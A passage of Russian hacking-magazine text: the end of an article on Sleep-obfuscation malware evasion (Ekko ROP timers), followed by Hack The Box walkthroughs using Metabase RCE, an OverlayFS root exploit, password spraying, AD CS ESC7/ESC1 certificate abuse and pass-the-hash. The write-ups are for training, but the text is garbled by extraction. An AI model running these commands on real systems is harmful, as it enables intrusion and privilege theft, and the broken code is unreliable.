перемен ные, которые будут содер жать изме нения.

CONTEXT

Да лее запол няем в каж дой струк туре эле мен ты так, что бы они вызыва ли
нуж ные фун кции и ROP-цепоч ка кор рек тно отра баты вала. В нашем слу чае
струк туры запол няют ся так, что бы шел вызов в такой пос ледова тель нос ти:

 → изме нение с RWX на RW →  →
шиф рование → спим столь ко, сколь ко ука зано в фун кции →

 → рас шифров ка →  → изме нение

с RW на RWX.

VirtualProtect() SystemFunction032()

SystemFunction032() VirtualProtect()

Для вызова ROP-цепоч ки регис три руют ся тай меры, которые по исте чении
вре мени вызыва ют фун кцию  со струк турами .NtContinue() CONTEXT

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);

  
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)
NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

Че рез 100 мил лисекунд выс тре лива ет пер вый гад жет, память с нашим фай- 
лом ста новит ся RW; через 200 мил лисекунд все в памяти шиф рует ся;
через 300 ожи даем событие, которое перей дет в сиг наль ное сос тояние
через ука зан ное фун кци ей вре мя для сна; через 400 про изой дет рас шифров- 
ка, а через полови ну секун ды память вновь ста нет RWX.

Ло гич ный воп рос — каким обра зом сис тема вызыва ет фун кции, если мы
как бы шиф руем всю память? Здесь идет шиф рование толь ко непос редс- 
твен но кода прог раммы, смап ленной в память. При этом DLL, в которых
находит ся реали зация фун кций ,  и так

далее, не шиф рует ся. Поэто му все успешно исполня ется, ведь мы регис три- 
руем кол бэки, ука зывая адре са этих фун кций. Сис тема эти адре са запоми- 
нает, и они не под верга ются шиф рованию при работе пей лоада (так как они
находят ся за пре дела ми  + ). Поэто му все отлично

сра баты вает.

NtContinue() SystemFunction032()

ImageBaseAddr ImageSize

ÂÛÂÎÄÛ

Те перь нам понятен основной смысл работы Sleep-обфуска ции, но Ekko —
лишь один из прос тей ших PoC. На GitHub их мно го раз новид ностей: здесь
и  с исполь зовани ем в логике хар двер ных брейк-пой нтов, и 
с , и . Пос ледний метод мож но счи тать прод винутой

Sleep-обфуска цией, пос коль ку он бук валь но уби вает текущий поток (но
перед этим пред варитель но не забыва ет сох ранить все регис тры CPU
для него и стек), затем спит, пос ле чего вос ста нав лива ет дан ные. В общем,
теперь у тебя огромный прос тор для самос тоятель ного изу чения!

RustChain Cronos
SleepEx() DeathSleep

https://t.me/Michaelzhm
https://xakep.ru/2022/06/17/shellcode-fluctuation/
https://nikhilh20.medium.com/return-oriented-programming-rop-chaining-def0677923ad
https://habr.com/ru/articles/479184/
https://vc.ru/u/399338-codeby-net/103531-rop-cepochki-i-gadzhety-uchimsya-razrabatyvat-eksployty
https://resources.infosecinstitute.com/topics/hacking/return-oriented-programming-rop-attacks/
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow
https://stackoverflow.com/questions/56508945/what-is-the-difference-between-a-buffer-overflow-attack-and-a-rop-attack
https://github.com/Cracked5pider/Ekko/blob/main/Src/Ekko.c
https://github.com/Cracked5pider/CodeCave/tree/main/EkkoEx
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
https://source.winehq.org/WineAPI/SystemFunction032.html
https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventw
https://learn.microsoft.com/en-us/windows/win32/api/threadpoollegacyapiset/nf-threadpoollegacyapiset-createtimerqueue
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/NtContinue.html
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context
https://github.com/Kudaes/RustChain/blob/main/RustChain/src/lib.rs
https://github.com/Idov31/Cronos
https://github.com/janoglezcampos/DeathSleep
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ВЗЛОМ

В этом рай тапе я покажу про цесс экс плу- 
ата ции уяз вимос ти CVE-2023-2640 в фай- 
ловой сис теме OverlayFS для Linux, но сна- 
чала нам нуж но будет ата ковать сис тему
Metabase, что бы получить дос туп к хос ту.

На ша цель — получе ние прав супер поль зовате ля на машине Analytics с учеб- 
ной пло щад ки . Уро вень машины — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.233    analytics.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

Сра зу идем изу чать веб.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÎÏÎÐÛ

Сайт однос тра нич ный, одна ко при выборе пун кта Login в навига ции сай та нас
перено сит на новый домен: .data.analytical.htb

Ошиб ка обра щения к домену

До бав ляем новый домен в файл  и обновля ем стра ницу. Нас

встре чает фор ма авто риза ции Metabase.

/etc/hosts

10.10.11.233   analytics.htb analytical.htb data.analytical.htb 

Фор ма авто риза ции Metabase

 — это опен сор сный  для биз нес-ана лити ки, в котором

мож но писать зап росы к дан ным, визу али зиро вать резуль таты на даш бордах,
а так же нас тра ивать встро енную сис тему опо веще ний для отправ ки уве дом- 
лений об изме нени ях в Slack или на поч ту.

Metabase инс тру мент

Пер вым делом сто ит про верить, есть ли для обна ружен ной плат формы
готовые экс пло иты. Про ще и эффектив нее все го искать их в Google (хотя заг- 
лянуть на , в  и на GitHub тоже сто ит). Даже если не най- 
дут ся экс пло иты, иног да мож но обна ружить ресер чи с под робным опи сани ем
уяз вимос тей.

HackerOne Exploit-DB

По иск экс пло итов в Google

Не дав но в Metabase была обна руже на уяз вимость , которая
поз воля ет ата кующе му выпол нить про изволь ный код в сис теме и при этом
не про ходить аутен тифика цию в самой плат форме. Как ука зано 

, у Metabase есть спе циаль ный токен, который исполь зует ся
для завер шения уста нов ки. Этот токен дос тупен неаутен тифици рован ным
поль зовате лям, если пос ле уста нов ки плат формы обра тить ся к конеч ной точ- 
ке API .

CVE-2023-38646

в бло ге
ресер чера

/api/session/properties
За тем на эта пе уста нов ки пред лага ется ука зать источник дан ных или базу

для соеди нения JDBC через API . Вот тут в экс пло итах
и исполь зует ся спе циаль ный INIT-сце нарий для получе ния RCE. Но вруч ную
выпол нять все это нам не при дет ся, пос коль ку в базе Metasploit нашел ся
готовый экс пло ит: .

/api/setup/validate

exploit/linux/http/metabase_setup_token_rce

msfconsole 
use exploit/linux/http/metabase_setup_token_rce 

Справ ка по экс пло иту metabase_setup_token_rce

Ус тановим такие парамет ры, как локаль ные интерфейс и порт (
и ), уда лен ные хост и порт (  и ) и адрес, ука зыва емый

в заголов ке HOST ( ). Затем запус каем экс пло ит и получа ем сес сию

от име ни поль зовате ля .

LHOST
LPORT RHOSTS RPORT

VHOST
metabase

set LPORT 4321 
set LHOST tun0 
set RHOSTS http://data.analytical.htb 
set RPORT 80 
set VHOST data.analytical.htb
run 

Ре зуль тат работы экс пло ита

Пе рехо дим к эта пу прод вижения к дру гому поль зовате лю.

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я для это го, как обыч но, буду
исполь зовать скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Ска чива ем скрипт для Linux.

wget https://github.com/carlospolop/PEASS-ng/releases/latest/
download/linpeas.sh -O /tmp/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. Для это го на сво ем хос те
запус каем прос тень кий веб-сер вер:

   python3 -m http.server 80

При помощи wget на целевой машине ска чива ем скрипт с нашего хос та. Пос- 
ле заг рузки необ ходимо дать пра во на выпол нение и выпол нить скрипт.

wget 10.10.16.19/linpeas.sh -O /tmp/lp.sh 
chmod +x /tmp/lp.sh 
/tmp/lp.sh 

В выводе будет мно го информа ции, поэто му отби раем толь ко то, что потен- 
циаль но может при вес ти нас к повыше нию при виле гий.

LinPEAS сра зу же опре делил, что мы находим ся в «Докере», а зна чит,
для выхода из него нуж но искать учет ные дан ные либо небезо пас ные нас- 
трой ки.

Ин форма ция о кон тей нере

В перемен ных окру жения хра нит ся не толь ко путь к базе дан ных Metabase,
но и учет ные дан ные.

Пе ремен ные окру жения

Про буем исполь зовать их на SSH и получа ем дос туп к основной сис теме.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как сме нил ся кон текст и мы попали в новую сис тему, для сбо ра информа- 
ции сно ва заг ружа ем и запус каем LinPEAS. Но в этот раз не уда лось най ти
совер шенно ничего.

В таких слу чаях сто ит некото рое вре мя отсле живать запус каемые в сис- 
теме прог раммы и скрип ты. Для отсле жива ния я рекомен дую исполь зовать
ути литу . Одна ко я подож дал минут пять, и она ничего не пой мала.pspy64

Пос леднее, на что оста лось рас счи тывать, — это какие-то све жие экс пло- 
иты для самой сис темы. Узнать точ ную вер сию сис темы мож но коман дой

.uname -a

Вер сия исполь зуемой сис темы

По обык новению ищем экс пло иты в Google. Пер вая же ссыл ка ведет к уяз- 
вимос ти .GameOverlay

По иск экс пло итов в Google

 — это объ еди нен ная фай ловая сис тема, которая нак ладыва ет

одну фай ловую сис тему поверх дру гой, поз воляя модифи циро вать фай лы
без изме нения базовой фай ловой сис темы (при мер но как Docker). Одна ко
эта тех нология пре дос тавля ет поль зовате лям воз можность копиро вать фай- 
лы из вло жен ного катало га в родитель ский, сох раняя при этом метадан ные
фай ла, в том чис ле S-бит. Имен но этот недос таток поз воля ет выпол нить
повыше ние при виле гий до рута в базовой сис теме. Спо соб экс плу ата ции
этой уяз вимос ти осно ван и на Linux Capabilities.

OverlayFS

В Linux поль зователь root получа ет осо бый кон текст при запус ке любых про- 
цес сов. Так, ядро и при ложе ния, работа ющие от име ни root, обыч но про пус- 
кают любые огра ниче ния, задан ные на дей ствия в опре делен ном кон тек сте,
поэто му root может делать все, что захочет. Но что, если опре делен ному про- 
цес су, который работа ет в неп ривиле гиро ван ном кон тек сте, нуж но выпол нить
тре бующее при виле гий дей ствие, не повышая уров ня прав?

Нап ример, быва ет нуж но поз волить про цес су про изво дить запись в жур- 
нал ауди та ядра, но не поз волять отклю чить этот аудит. Ведь если запус тить
этот про цесс в кон тек сте рута, он смо жет выпол нить оба дей ствия!

Тут на помощь и при ходят Linux Capabilities. Эти «воз можнос ти» пре дос- 
тавля ют про цес су не все мно жес тво при виле гий, а какое-то его под мно жес- 
тво. Дру гими сло вами, все при виле гии рута раз бива ются на более мел кие
незави симые друг от дру га при виле гии и про цесс получа ет толь ко те,
которые ему нуж ны.

Экс плу ата ция уяз вимос ти зак люча ется в том, что мож но соз дать файл
с минималь ными воз можнос тями в одном слое и ско пиро вать его с неог- 
раничен ными воз можнос тями в дру гой слой, что, по сути, поз волит фай лу
работать в кон тек сте рута.

Пер вым делом перей дем в поль зователь ское прос транс тво, так как уста- 
нав ливать воз можнос ти фай ла и мон тировать фай ловую сис тему OverlayFS
мож но толь ко там.

 sh unshare -rm

За тем для сло ев соз даем отдель ные катало ги и копиру ем исполня емый файл
, пос ле чего даем ему воз можность . Она поз воля ет

про цес су изме нить UID во вре мя выпол нения.

python3 cap_setuid+eip

mkdir lower upper workdir mount 
cp /usr/bin/python3 lower/ 
setcap cap_setuid+eip lower/python3 

Те перь мон тиру ем фай ловую сис тему OverlayFS и изме няем метадан ные
фай ла, что бы ядро копиро вало его в вер хний каталог с сох ранени ем уста нов- 
ленных воз можнос тей.

mount -t overlay overlay -o rw,lowerdir=lower,upperdir=upper,workdir=
workdir mount 
touch mount/*
exit

Пос ле выхода из поль зователь ско го прос транс тва про веря ем воз можнос ти
соз данно го фай ла .upper/python3

getcap upper/python3 

Экс плу ата ция уяз вимос ти

Те перь сде лаем так, что бы скрипт на Python уста нав ливал сво ему про цес су
UID, рав ный нулю, что бы получить при виле гиро ван ный кон текст рута.
Это мож но сде лать с помощью фун кции  из модуля . Затем вызыва- 

ем коман дную обо лоч ку в уже при виле гиро ван ном кон тек сте с помощью фун- 
кции  из того же модуля.

setuid os

system

upper/python3 

import os 
0os.setuid( )

os.system("/bin/bash")

Флаг рута

Мы получа ем дос туп к bash от име ни рута, а зна чит, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.metabase.com/
https://www.hackerone.com/
https://www.exploit-db.com/
https://nvd.nist.gov/vuln/detail/CVE-2023-38646
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability
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ВЗЛОМ

В этом рай тапе я покажу, как зло умыш- 
ленник может повысить при виле гии
при помощи тех ники ESC7 и зах ватить
домен через Active Directory Certicate
Services. Но преж де зай мем ся раз ведкой:
прос каниру ем ресур сы SMB, извле чем дан- 
ные из MS SQL и через фун кцию прос мотра
катало гов добудем учет ные дан ные поль- 
зовате ля.

На ша цель — получе ние прав супер поль зовате ля на машине Manager с учеб- 
ной пло щад ки . Опе раци онная сис тема — Windows, уро вень
слож ности — сред ний.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.236   manager.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем мно го откры тых пор тов, что типич но
для Windows-сер веров:

53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
1433 — служ ба Microsoft SQL Server;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

Сер тифика ты некото рых служб рас кры вают не толь ко имя домена, но и имя
машины. Допол ним запись в фай ле :/etc/hosts

10.10.11.236 manager.htb dc01.manager.htb dc01 

ÒÎ×ÊÀ ÂÕÎÄÀ

Так как дос тупна служ ба SMB, пер вым делом про веря ем гос тевую авто риза- 
цию без вво да пароля. Для это го удоб но исполь зовать ути литу

.CrackMapExec

 crackmapexec smb 10.10.11.236 -u anonymous -p ''

Ре зуль тат про вер ки

Гос тевая авто риза ция дос тупна! А это зна чит, что мож но исполь зовать тех- 
нику перебо ра RID, что бы получить наз вания групп и име на поль зовате лей
домена. Дела ется это при помощи все того же CrackMapExec.

  crackmapexec smb 10.10.11.236 -u anonymous -p '' --rid-brute 5000 

Ре зуль тат перебо ра RID

Сох раня ем спи сок поль зовате лей в файл. Теперь мож но попытать ся подоб- 
рать пароли к сущес тву ющим акка унтам. Про тес тировать сто ит как пус той
пароль, так и име на поль зовате лей в качес тве паролей. При чем под бирать
мож но как на служ бе SMB, так и на служ бе MS SQL.

 
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt 
--no-bruteforce --continue-on-success

 
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt 
--no-bruteforce --continue-on-success

Ре зуль тат под бора пароля

Па роли были ука заны с заг лавной бук вы, сме ним все строч ными и пов торим
перебор.

 
crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt 
--no-bruteforce --continue-on-success

Ре зуль тат под бора пароля

В ито ге получа ем валид ную учет ную запись .operator:operator

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/byt3bl33d3r/CrackMapExec
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ÒÎ×ÊÀ ÎÏÎÐÛ

При ана логич ном перебо ре служ бы MS SQL для поль зовате ля operator видим
дру гие резуль таты, но получен ная ошиб ка под твержда ет валид ность учет ных
дан ных.

 
crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt 
--no-bruteforce --continue-on-success

Ре зуль тат под бора пароля

Для работы с MS SQL в Linux мож но исполь зовать удоб ный скрипт
 из набора скрип тов .mssqlclient impacket

impacket-mssqlclient -port 1433 manager.htb/operator:operator@10.10.
11.236 -windows-auth

Под клю чение к служ бе MS SQL

Пер вым делом про веря ем, име ет ли поль зователь хоть какую-нибудь адми- 
нис тра тив ную роль. Сде лать это мож но за один зап рос.

   
  

  
 

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'),
is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'),
is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'),
is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

Ре зуль тат выпол нения зап роса

У это го поль зовате ля нет ролей, что очень печаль но. Я поп робовал про верить
про цеду ры и дру гие фун кции, которые мож но экс плу ати ровать, что бы
повысить при виле гии в служ бе или получить уда лен ное выпол нение кода,
но резуль татов это не дало. Зато мож но исполь зовать фун кцию 
для отоб ражения лис тинга в ука зан ном катало ге.

xp_dirtree

    EXEC xp_dirtree 'C:', 1, 1;

Со дер жимое дис ка C

Ви дим каталог  и вспо мина ем про работа ющий на той же машине

веб-сер вер. На этом эта пе мож но получить всю струк туру сай та.

inetpub

    EXEC xp_dirtree 'C:\inetpub', 1, 1;

    EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

Со дер жимое катало гов inetpub\wwwroot

В кор не сай та лежит бэкап, о котором знать ранее мы не мог ли. Ска чива ем
его и прос матри ваем фай лы с нас трой ками. В фай ле  есть

учет ные дан ные.

.old-conf.xml

wget http://manager.htb/website-backup-27-07-23-old.zip 

Со дер жимое фай ла .old-conf.xml

Пер вым делом нуж но про верить валид ность най ден ной учет ки.

 crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

Про вер ка учет ных дан ных

Учет ная запись валид на, а зна чит, мож но получить содер жимое груп пы
Remote Management Users. Поль зовате ли в этой груп пе могут авто ризо вать ся
по WinRM.

  
 

crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
--groups 'Remote Management Users'

Со дер жимое груп пы Remote Management Users

Этот поль зователь при сутс тву ет в груп пе, поэто му авто ризу емся по WinRM
и забира ем пер вый флаг.

 evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

Флаг поль зовате ля

Продолжение статьи →

https://github.com/fortra/impacket
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По луча ем всю информа цию о поль зовате ле и отме чаем груп пу Certicate
Service DCOM Access. Это обра тило мое вни мание на служ бу сер тифика ции
Active Directory.

whoami /all

Ин форма ция о поль зовате ле

Для про вер ки AD CS есть удоб ный инс тру мент , который не толь ко

поз воля ет работать с цен тром сер тифика ции, но и помога ет авто мати чес ки
про верять извес тные уяз вимос ти (параметр ).

Certipy

-vulnerable

  
 

certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
-vulnerable -stdout

Ре зуль тат ана лиза AD CS

В выводе ути литы ука зано, что при сутс тву ет уяз вимость ESC7. Это зна чит, что
поль зователь име ет опас ные при виле гии на самом цен тре сер тифика ции.

ESC7 AD CS
 — это нас тра иваемые

служ бы для выдачи сер тифика тов и управле ния ими в сис темах безопас- 
ности. Здесь исполь зует ся тех нология откры тых клю чей.

Ñëóæ áû ñåð òèôèêà òîâ Active Directory (AD CS)

Цен тры сер тифика ции AD CS выда ют сер тифика ты с парамет рами,
которые опре деля ются шаб лонами. Эти шаб лоны пред став ляют собой
наборы политик регис тра ции и пре доп ределен ных парамет ров сер тифика та
и содер жат раз ные све дения, нап ример:

срок дей ствия сер тифика та;•
пред назна чение сер тифика та;•
спо соб ука зания субъ екта;•
ко му раз решено зап росить сер тифика ты.•

Уяз вимость ESC7 зак люча ется в том, что у неп ривиле гиро ван ного поль- 
зовате ля есть пра ва на защища емый объ ект самого цен тра сер тифика ции.
В таких слу чаях поль зователь может наз начить себе пра во «Управле ние сер- 
тифика тами», акти виро вать и исполь зовать шаб лон сер тифика та SubCA, так
как он уяз вим к тех нике ESC1. Дело в том, что зап рос выдачи сер тифика тов
SubCA будет одоб рен толь ко адми нис тра тором, а поль зовате ли с пра вами
«Управле ние цен тром сер тифика ции» и «Управле ние сер тифика тами» могут
отправ лять под твержде ние на зап росы выдачи сер тифика тов, даже если они
завер шились неудач но.

Но для начала обно вим запись в фай ле , куда вне сем и имя

цен тра сер тифика ции.

/etc/hosts

10.10.11.236 manager.htb dc01.manager.htb manager-DC01-CA 

Те перь по намечен ному пла ну наз нача ем поль зовате лю пра во «Управле ние
сер тифика тами».

   
 

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123' -add-officer raven 

Ре зуль тат выпол нения коман ды

Ко ман да выпол нена успешно, поэто му перехо дим к акти вации шаб лона сер- 
тифика та SubCA. Этот шаб лон может быть уже акти виро ван. Что бы это про- 
верить, исполь зуем параметр .-list-templates

   
 

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123' -list-templates

Ак тивные шаб лоны сер тифика тов

Нуж ный шаб лон при сутс тву ет в спис ке, перехо дим к экс плу ата ции ESC1.

ESC1 AD CS
Тех ника ESC1 поз воля ет повысить при виле гии через шаб лон сер тифика та,
но дол жны выпол нять ся сле дующие тре бова ния:
1. У шаб лона сер тифика та в свой стве 

уста нов лен флаг , что поз воля ет зап- 
рашива юще му самому уста новить атри бут SAN ( ).

msPKI-Certificate-Name-Flag

ENROLLEE_SUPPLIES_SUBJECT

subjectAltName

2. Сер тификат мож но исполь зовать для аутен тифика ции кли ента (
).

client 

authentication

3. Те кущий поль зователь име ет пра ва для регис тра ции сер тифика та
без утвер жде ния менед жера AD CS.

Что делать с треть им тре бова нием? Все прос то, у нас ведь есть поль- 
зователь-менед жер, который раз решит выдачу сер тифика та. Получа ется, эта
тех ника осно вана на воз можнос ти изме нения SAN сер тифика та, что поз воля- 
ет выпус тить сер тификат для любого поль зовате ля домена, вклю чая адми нис- 
тра тора домена!

Да вай зап росим сер тификат SubCA, где в атри буте SAN ука жем поль- 
зовате ля .administrator

   
 

certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -template SubCA 
-upn administrator@manager.htb 

Ре зуль тат зап роса сер тифика та

Зап рос завер шился ошиб кой, но мы зна ем его номер — 25. Одоб рим заяв ку
на выдачу сер тифика та и заново зап росим его.

   
  25 

certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123' -issue-request

Одоб рение заяв ки

   
  25 

certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p
'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -retrieve

Пов торный зап рос сер тифика та

Имея сер тификат поль зовате ля, поз воля ющий прой ти аутен тифика цию, мож- 
но получить NT-хеш пароля поль зовате ля.

UnPAC the hash
Суть тех ники UnPAC the hash в том, что, имея сер тификат, поз воля ющий поль- 
зовате лю прой ти аутен тифика цию, мож но получить TGT-билет. В нем будет
струк тура , а она содер жит клю чи NTLM. Так как в этих

опе раци ях задей ство ван Kerberos, нам допол нитель но тре бует ся син хро- 
низи ровать вре мя с уда лен ным сер вером. Пос ле получе ния TGT-билета и NT-
хеша вер нем вре мя обратно.

PAC_CREDENTIAL_INFO

sudo ntpdate -s 10.10.11.236 
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236 
sudo ntpdate -s ntp.org 

По луче ние NT

С получен ным хешем под клю чаем ся к сер веру от име ни адми нис тра тора
и забира ем пос ледний флаг.

evil-winrm -i 10.10.11.236 -u administrator -H 
ae5064c2f62317332c88629e025924ef 

Флаг рута

Ма шина зах вачена!

https://github.com/ly4k/Certipy
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ВЗЛОМ

В этом рай тапе я покажу, как мож но при- 
менять тех нику перех вата DLL для повыше- 
ния при виле гий в Windows. Но преж де мы
ата куем веб-сайт и получим RCE через
ком бинацию из SSRF и уяз вимос ти при заг- 
рузке фай лов.

На ша цель — получе ние прав супер поль зовате ля на машине Appsanity с учеб- 
ной пло щад ки . Уро вень машины заяв лен слож ный.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.238    appsanity.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
80 и 443 — веб-сер вер Microsoft IIS 10.0;•
5985 — служ ба уда лен ного управле ния WinRM.•

На сер вере все го одна точ ка вхо да — это веб-сер вер. При этом, как отоб- 
ражено в выводе Nmap, про исхо дит редирект на сайт .

Добав ляем этот домен в  и идем смот реть сайт.

http://meddigi.htb
/etc/hosts

10.10.11.238 appsanity.htb meddigi.htb 

Глав ная стра ница сай та meddigi.htb

Сра зу же запус каем ска нер под доменов.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — URL;• -u

